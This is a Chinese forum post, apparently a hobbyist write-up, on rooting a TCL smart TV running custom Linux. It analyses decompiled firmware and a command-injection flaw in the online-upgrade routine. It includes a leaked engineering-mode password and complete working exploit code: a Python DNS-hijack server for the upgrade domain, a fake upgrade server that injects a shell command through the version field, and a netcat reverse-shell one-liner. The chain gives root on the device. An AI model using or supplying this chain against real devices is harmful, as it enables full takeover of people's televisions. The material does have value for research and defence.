本帖最后由 wmsuper 于 2020-2-13 11:59 编辑
0x01前言
因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视,这款电视的操作系统不是安卓,而是定制的Linux系统,
本篇主要记录Pwn该设备的思路以及过程。
0x02 信息收集
电视机型号如下:
通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:
其中的china_lite_board即为主要的执行文件,负责电视剧大部分图像显示和逻辑处理。
0x03 确定方向
1.nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。
2.解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有一定的危险性,可能导致电视机直接变成砖头。
3.在分析china_lite_board文件时,可以看到进入工程模式的密码:1950
进入工程模式可以看到如下选项:
找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。
3.利用漏洞,比如最简单的命令注入漏洞来获取控制权,一般来说,这种设备对安全不注重,会有一些漏洞产生,尤其是命令注入(比内存破坏类漏洞相对好利用),所以最后还是找找看有没有命令注入漏洞来进行突破。
0x04 发现漏洞
发现命令注入类漏洞主要的思路是找到system函数的所有的引用,再一个个得去分析,最后通过这种方法发现了一个存在于升级功能得命令注入漏洞:
升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息:
服务器返回得升级信息如下:
[XML] 纯文本查看 复制代码 <?xml version="1.0" encoding="UTF-8" standalone="yes"?><upgradeIncrResponse><servertime>1581142666</servertime><callid>e3567c969c2c3d4098a88b960e627804</callid><state>0000</state><note>æå</note><language>zh_CN</language><apiversion>1.0</apiversion></upgradeIncrResponse>
通过字符串搜索找到了处理的代码如下:
[C] 纯文本查看 复制代码
undefined4 FUN_00457748(MWidget *param_1)
{
MWidget MVar1;
MSRV_NETWORK_LINK_STATUS_e *pMVar2;
MSRV_NETWORK_IP_STATUS_e *pMVar3;
int iVar4;
int iVar5;
long lVar6;
long lVar7;
undefined4 uVar8;
char *pcVar9;
int local_1c8;
int local_1c0;
uint local_1b8;
uint local_1b4;
int local_1a4;
allocator<char> aaStack412 [4];
basic_string<char,std--char_traits<char>,std--allocator<char>> abStack408 [4];
basic_string abStack404 [4];
allocator<char> aaStack400 [4];
basic_string<char,std--char_traits<char>,std--allocator<char>> abStack396 [4];
basic_string abStack392 [4];
basic_string abStack388 [4];
undefined4 local_180;
undefined4 local_17c;
undefined4 local_178;
undefined4 local_174;
undefined4 local_170;
undefined4 local_16c;
undefined4 local_168;
undefined4 local_164;
undefined4 local_160;
undefined4 local_15c;
allocator aaStack344 [52];
undefined4 local_124;
undefined2 local_120;
undefined auStack286 [46];
statfs asStack240 [2];
double local_38;
double local_30;
double local_28;
double local_20;
uint local_18;
/*..............................*/
printf("\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]",
"./src/NetUpdateFrame.cpp",0x51f);
*(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01';
Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250);
Invalidate();
if (param_1[0x3a00] == (MWidget)0x1) {
printf("\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
0x527);
uVar8 = call_C_MApp_GetPotalData(0x20,"/Customer/portal/swupg/update.xml");
*(undefined4 *)(param_1 + 0x3a10) = uVar8;
printf("\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n",
*(undefined4 *)(param_1 + 0x3a10),"./src/NetUpdateFrame.cpp",0x529);
}
if (*(int *)(param_1 + 0x3a10) == 1) {
puts("=======SUCCESS========");
if (param_1[0x3a00] == (MWidget)0x1) {
printf("\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
0x530);
param_1[0x38c] = (MWidget)0x0;
//解析xml文件
uVar8 = call_C_ParseNewUpdateXml
(param_1 + 0x1f8,param_1 + 0x39e8,"/Customer/portal/swupg/update.xml");
*(undefined4 *)(param_1 + 0x3a0c) = uVar8;
printf("\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n",
*(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8),
"./src/NetUpdateFrame.cpp",0x533);
printf("\n[csheng]updateinfo->index=%d",*(undefined4 *)(param_1 + 0x78c));
printf("\n[csheng]updateinfo->md5=%s",param_1 + 0x35a);
printf("\n[csheng]updateinfo->note=%s",param_1 + 0x38c);
printf("\n[csheng]updateinfo->size=%s",param_1 + 0x238);
printf("\n[csheng]updateinfo->source=%s",param_1 + 0x256);
printf("\n[csheng]updateinfo->title=%s",param_1 + 0x21a);
printf("\n[csheng]updateinfo->type=%s",param_1 + 0x1f8);
printf("\n[csheng]updateinfo->url=%s",param_1 + 0x25b);
printf("\n[csheng]updateinfo->version=%s\n",param_1 + 0x1fc);
}
if (*(int *)(param_1 + 0x3a0c) == -1) {
puts("parse xml file error!");
return 1;
}
puts("\n=======Start Download Package======");
if (*(int *)(param_1 + 0x39e8) < 1) {
puts("=======None update info=========");
param_1[500] = (MWidget)0x2;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SetInitialFocus(param_1);
SwitchFocusTo(param_1);
Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
Invalidate();
param_1[499] = (MWidget)0x3;
KillTimer((ulong)param_1);
return 1;
}
doUpgrdOnce = 1;
printf("\n[csheng]totoalnums>0,..[%s][%d]","./src/NetUpdateFrame.cpp",0x546);
if (param_1[0x3a00] == (MWidget)0x1) {
puts("\r\n=====NoteFlag=1======");
basic_ostringstream((_Ios_Openmode)asStack240);
param_1[0x3a00] = (MWidget)0x0;
param_1[500] = (MWidget)0x0;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SwitchFocusTo(param_1);
if (param_1[0x38c] == (MWidget)0x0) {
Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160);
}
else {
operator<<<std--char_traits<char>>
((basic_ostream *)asStack240,(char *)(param_1 + 0x38c));
iVar4 = *(int *)(param_1 + 0x1a4);
str();
operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
(iVar4 + 0x164),abStack388);
~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
abStack388);
}
SetFlag((char)*(undefined4 *)(param_1 + 0x1a4) + '`','\x01');
Invalidate();
param_1[499] = (MWidget)0xc;
KillTimer((ulong)param_1);
~basic_ostringstream
((basic_ostringstream<char,std--char_traits<char>,std--allocator<char>> *)
asStack240);
return 1;
}
SetTimer((ulong)param_1,1000,1);
iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
if (iVar4 == 0) {
printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x56c);
lVar6 = atol((char *)(param_1 + 2000));
if (lVar6 < 0) {
lVar6 = lVar6 + 0xfffff;
}
*(long *)(param_1 + 0x4688) = (lVar6 >> 0x14) + 1;
}
iVar4 = strncmp((char *)(param_1 + 0x256),"300",4);
if (iVar4 == 0) {
printf("\n[csheng]source=300..[%s][%d]","./src/NetUpdateFrame.cpp",0x571);
pcVar9 = (char *)GetInstance();
iVar4 = GetUSBMountPath(pcVar9);
if (iVar4 == 0) {
printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x58f);
param_1[500] = (MWidget)0x3;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SwitchFocusTo(param_1);
Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
Invalidate();
param_1[499] = (MWidget)0x4;
KillTimer((ulong)param_1);
return 1;
}
puts("=======Find USB Device============");
pcVar9 = (char *)GetInstance();
iVar4 = GetUSBContainer(pcVar9);
SetTimer((ulong)param_1,500,2);
lVar6 = atol((char *)(param_1 + 0x238));
if (lVar6 < 0) {
lVar6 = lVar6 + 0xfffff;
}
if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
param_1[500] = (MWidget)0x3;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SwitchFocusTo(param_1);
Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
Invalidate();
param_1[499] = (MWidget)0x5;
KillTimer((ulong)param_1);
return 1;
}
local_180 = 0;
local_17c = 0;
local_178 = 0;
local_174 = 0;
local_170 = 0;
pcVar9 = (char *)GetInstance();
GetUSBMountPath(pcVar9);
sprintf(Downloadaddress,"%s/%s",&local_180,param_1 + 0x21a);
strcpy(DownloadPath,(char *)&local_180);
}
else {
iVar4 = strncmp((char *)(param_1 + 0x256),"100",4);
if (iVar4 == 0) {
printf("\n[csheng]source=100..[%s][%d]","./src/NetUpdateFrame.cpp",0x5a1);
pcVar9 = (char *)GetInstance();
iVar4 = GetUSBMountPath(pcVar9);
if (iVar4 == 0) {
printf("\n[csheng]no usb..[%s][%d]","./src/NetUpdateFrame.cpp",0x5c1);
param_1[500] = (MWidget)0x3;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SwitchFocusTo(param_1);
Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
Invalidate();
param_1[499] = (MWidget)0x4;
KillTimer((ulong)param_1);
return 1;
}
puts("=======Find USB Device============");
pcVar9 = (char *)GetInstance();
iVar4 = GetUSBContainer(pcVar9);
SetTimer((ulong)param_1,500,2);
lVar6 = atol((char *)(param_1 + 0x238));
if (lVar6 < 0) {
lVar6 = lVar6 + 0xfffff;
}
if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
printf("\n[csheng]USB Contain have not enough space!!!..[%s][%d]",
"./src/NetUpdateFrame.cpp",0x5a9);
param_1[500] = (MWidget)0x3;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SwitchFocusTo(param_1);
Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
Invalidate();
param_1[499] = (MWidget)0x5;
KillTimer((ulong)param_1);
return 1;
}
local_16c = 0;
local_168 = 0;
local_164 = 0;
local_160 = 0;
local_15c = 0;
pcVar9 = (char *)GetInstance();
GetUSBMountPath(pcVar9);
sprintf(Downloadaddress,"%s/%s",&local_16c,param_1 + 0x1fc);
strcpy(DownloadPath,(char *)&local_16c);
}
}
iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
if (iVar4 == 0) {
printf("\n[csheng]source=200..[%s][%d]","./src/NetUpdateFrame.cpp",0x5e1);
sprintf(DownloadMbootAddress,"%s/%s",DownloadPath,param_1 + 0x7b2);
pcVar9 = (char *)GetInstance();
DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath);
}
if (local_1a4 < 99) {
printf("\n[csheng]intpercentage=%d,debugline..[%s][%d]",local_1a4,
"./src/NetUpdateFrame.cpp",0x5ec);
param_1[500] = (MWidget)0x5;
param_1[499] = (MWidget)0x1a;
Show();
Hide();
Hide();
Hide();
Hide();
Hide();
SetInitialFocus(param_1);
SwitchFocusTo(param_1);
SetCurValue(*(long *)(param_1 + 0x1e4));
iVar4 = *(int *)(param_1 + 0x1e8);
allocator();
basic_string((char *)abStack396,aaStack344);
operator+<char,std--char_traits<char>,std--allocator<char>>(abStack392,(char *)abStack396)
;
operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
(iVar4 + 0x164),abStack392);
~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)abStack392
);
~basic_string(abStack396);
~allocator(aaStack400);
Invalidate();
Invalidate();
}
param_1[0x39f4] = (MWidget)0x0;
printf("\n[csheng]check data space for update..[%s][%d]","./src/NetUpdateFrame.cpp",0x600);
local_1b4 = 0;
local_124 = 0x7461642f;
local_120 = 0x61;
memset(auStack286,0,0x2c);
system("/system/bin/stop zygote");
system("umount -l /mnt/sdcard");
iVar4 = statfs("/data",asStack240);
if (-1 < iVar4) {
printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x61e);
local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks);
printf("\r\n u16USBFreeSpace=%ld",local_1b4,
((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
(int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20
));
}
iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
if (iVar4 == 0) {
printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x638);
lVar6 = atol((char *)(param_1 + 0x238));
lVar7 = atol((char *)(param_1 + 2000));
local_1b8 = lVar6 + lVar7;
}
else {
printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x63d);
local_1b8 = atol((char *)(param_1 + 0x238));
}
printf("\r\n LoadFilesize=%d",local_1b8);
if (local_1b4 < local_1b8) {
printf("\r\n LoadFilesize11=%d",local_1b8);
pcVar9 = (char *)GetInstance();
iVar4 = ListFilesDir(pcVar9);
if (iVar4 == 0) {
system("/bin/tools/ls -al");
printf("\r\n remove finished");
}
iVar4 = statfs("/data",asStack240);
if (-1 < iVar4) {
local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks
);
printf("\r\n u16USBFreeSpace22=%ld",local_1b4,
((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
(int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >>
0x20));
}
if (local_1b4 < local_1b8) {
system("rm -rf /data/*");
system("/bin/tools/ls -al");
sync();
puts("\r\n rm all ");
}
}
iVar4 = strncmp((char *)(param_1 + 0x256),"200",4);
if (iVar4 == 0) {
puts("\nmboot down thread start");
mbootthreadstatus = 1;
}
else {
puts("\nmain code down thread start");
codethreadstatus = 1;
}
//下载升级包
iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0,
call_C_Autodownloadpackage,param_1 + 0x1f8);
SetTimer((ulong)param_1,1000,3);
if (iVar4 == 0) {
puts("Create DOWNLOAD thread SUCCESS");
}
else {
printf(" Couldn\'t create DOWNLOAD thread --errno: %d\n",iVar4);
}
iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
if (iVar4 == 0) {
puts("\nComing to creat thread of mboot");
pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage,
param_1 + 0x790);
}
lVar6 = atol((char *)(param_1 + 0x238));
printf(
"//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n"
,lVar6);
lVar6 = atol((char *)(param_1 + 2000));
printf(
"//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n"
,lVar6);
return 1;
}
puts("=======FAILURE=======......................==");
param_1[500] = (MWidget)0x2;
Hide();
Hide();
Hide();
Hide();
Hide();
Show();
SetInitialFocus(param_1);
SwitchFocusTo(param_1);
Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
Invalidate();
param_1[499] = (MWidget)0x7;
KillTimer((ulong)param_1);
return 1;
}
}
KillTimer((ulong)param_1);
return 1;
}
进入下载升级包的流程:
下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入漏洞):
0x05 漏洞利用
在上面的分析已经介绍了漏洞的成因,主要是没对服务端传过来的version字段进行过滤,那么问题来了,如何伪造服务端的响应触发漏洞?
DNS劫持
通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
[Python] 纯文本查看 复制代码 #!/usr/bin/python
import socket
import struct
import time
import logging
from logging.handlers import RotatingFileHandler
LOG = logging.getLogger('myip')
LOG.setLevel(logging.INFO)
FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)
HANDLER.setFormatter(FORMATTER)
LOG.addHandler(HANDLER)
DELAY = 50
MAXSUBDOMAINS = 3
HIAJACK_LIST = [
"api.upgrade.platform.huan.tv"
]
LASTQUERY = time.time()
def queryfilter(query, source):
global LASTQUERY
elapsed = time.time() - LASTQUERY
if not query.domain:
LOG.warning("ignoring query because it has no data. source: %s", source)
return False
'''
if elapsed < DELAY:
LOG.warning("ignoring query because of delay. delay: %i, domain: %s, source: %s", elapsed, query.domain, source)
return False
if len(query.domain.split(".")) > MAXSUBDOMAINS:
LOG.warning("ignoring query because of too many subdomains. domain: %s, source: %s", query.domain, source)
return False
'''
for bl_domain in HIAJACK_LIST:
if bl_domain.lower() in query.domain.lower():
LOG.warning("hijack query for blacklisted domain. domain: %s, source: %s", query.domain, source)
return True
return False
def _get_question_section(query):
# Query format is as follows: 12 byte header, question section (comprised
# of arbitrary-length name, 2 byte type, 2 byte class), followed by an
# additional section sometimes. (e.g. OPT record for DNSSEC)
start_idx = 12
end_idx = start_idx
num_questions = (ord(query.data[4]) << 8) | ord(query.data[5])
while num_questions > 0:
while query.data[end_idx] != '\0':
end_idx += ord(query.data[end_idx]) + 1
# Include the null byte, type, and class
end_idx += 5
num_questions -= 1
return query.data[start_idx:end_idx]
class DNSResponse(object):
def __init__(self, query):
self.id = query.data[:2] # Use the ID from the request.
self.flags = "\x81\x80" # No errors, we never have those.
self.questions = query.data[4:6] # Number of questions asked...
# Answer RRs (Answer resource records contained in response) 1 for now.
self.rranswers = "\x00\x01"
self.rrauthority = "\x00\x00" # Same but for authority
self.rradditional = "\x00\x00" # Same but for additionals.
# Include the question section
self.query = _get_question_section(query)
# The pointer to the resource record - seems to always be this value.
self.pointer = "\xc0\x0c"
# This value is set by the subclass and is defined in TYPE dict.
self.type = None
self.dnsclass = "\x00\x01" # "IN" class.
# TODO: Make this adjustable - 1 is good for noobs/testers
self.ttl = "\x00\x00\x00\x01"
# Set by subclass because is variable except in A/AAAA records.
self.length = None
self.data = None # Same as above.
def answer(self):
try:
return self.id + self.flags + self.questions + self.rranswers + \
self.rrauthority + self.rradditional + self.query + \
self.pointer + self.type + self.dnsclass + self.ttl + \
self.length + self.data
except (TypeError, ValueError):
pass
class A(DNSResponse):
def __init__(self, query, ip):
super(A, self).__init__(query)
self.type = "\x00\x01"
self.length = "\x00\x04"
self.data = ''.join(chr(int(x)) for x in ip.split('.'))
class DNSQuery:
def __init__(self, data):
self.data = data
self.domain = ''
tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini = 12
lon = ord(data[ini])
while lon != 0:
self.domain += data[ini+1:ini+lon+1]+'.'
ini += lon+1
lon = ord(data[ini])
# self.type = data[ini:][1:3]
# #print struct.unpack(">H", self.type)
# else:
# self.type = data[-4:-2]
hijack_ip='192.168.137.77'
if __name__ == '__main__':
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('', 53))
try:
while 1:
data, addr = udps.recvfrom(1024)
try:
q = DNSQuery(data)
if queryfilter(q, addr[0]):
print addr[0]
r = A(q, hijack_ip)
LOG.info('%s -> %s', q.domain, addr[0])
udps.sendto(r.answer(), addr)
LASTQUERY = time.time()
except Exception, err:
LOG.warning("Exception caused by %s: %s", addr, err)
# We don't send data since address could be spoofed
#udps.sendto("Invalid request", addr)
except KeyboardInterrupt:
print 'Closing'
udps.close()
再编写一个http服务器来响应升级请求,同时插入恶意构造的代码,该代码会直接执行U盘目录下的hack.sh文件:
[Python] 纯文本查看 复制代码 # coding:utf-8
import socket
import time
import threading
def handle_client(client_socket):
"""
处理客户端请求
"""
request_data = client_socket.recv(1024)
print("request data:", request_data)
# 构造响应数据
response_start_line = "HTTP/1.1 200 OK\r\n"
response_body = '''
<?xml version="1.0" encoding="utf-8"?>
<upgradeIncrResponse>
<servertime>%d</servertime>
<callid>e3567c969c2c3d4098a88b960e627804</callid>
<state>0000</state>
<note>nihao</note>
<language>zh_CN</language>
<upgrade>
<type>100</type>
<apptype>100</apptype>
<title>123</title>
<md5>123</md5>
<version>test'`;sh ./hack.sh;echo `echo '1</version>
<size>5</size>
<note>pwn by wmsuper</note>
<fileurl>[url]http://192.168.137.77[/url]</fileurl>
<appid>1</appid>
</upgrade>
</upgradeIncrResponse>'''%(int(time.time()))
#response_body='''<?x><callid>e3567c969c2c3d4098a88b960e627804</callid><state>0000</state><note>nihao</note><language>zh_CN</language><apiversion>1.0</apiversion><upgrade><type>100</type><apptype>100</apptype><title>test</title><md5>123</md5><version>1.3</version><size>5</size><note>nihao</note><fileurl>[url]http://www.baidu.com[/url]</fileurl><appid>1</appid></upgrade></upgradeIncrResponse>'''
response_headers = "Server: My server\r\n"+"Content-Type: application/xml;charset=UTF-8\r\n"+"Content-Length: %d\r\n"%len(response_body)
response = response_start_line + response_headers + "\r\n" + response_body
# 向客户端返回响应数据
client_socket.send(response)
# 关闭客户端连接
#client_socket.close()
if __name__ == "__main__":
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("", 80))
server_socket.listen(128)
while True:
client_socket, client_address = server_socket.accept()
print("[%s, %s]用户连接上了" % client_address)
handle_client_process = threading.Thread(target=handle_client, args=(client_socket,))
handle_client_process.start()
hack.sh文件内容如下:
[Bash shell] 纯文本查看 复制代码 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.137.1 8848 >/tmp/f
0x06 利用效果
在按下通过网络升级的按钮之后,电视机会提示升级的选项框:
点击确定,会触发version字段的恶意代码,执行U盘的反弹shell代码(之前得在主机运行nc -lvp 8848 来监听反弹回来的shell)
反弹的shell如下,身份是root,到这里可以说已经完全控制该电视了:
CPU有点渣,没啥可玩性:
|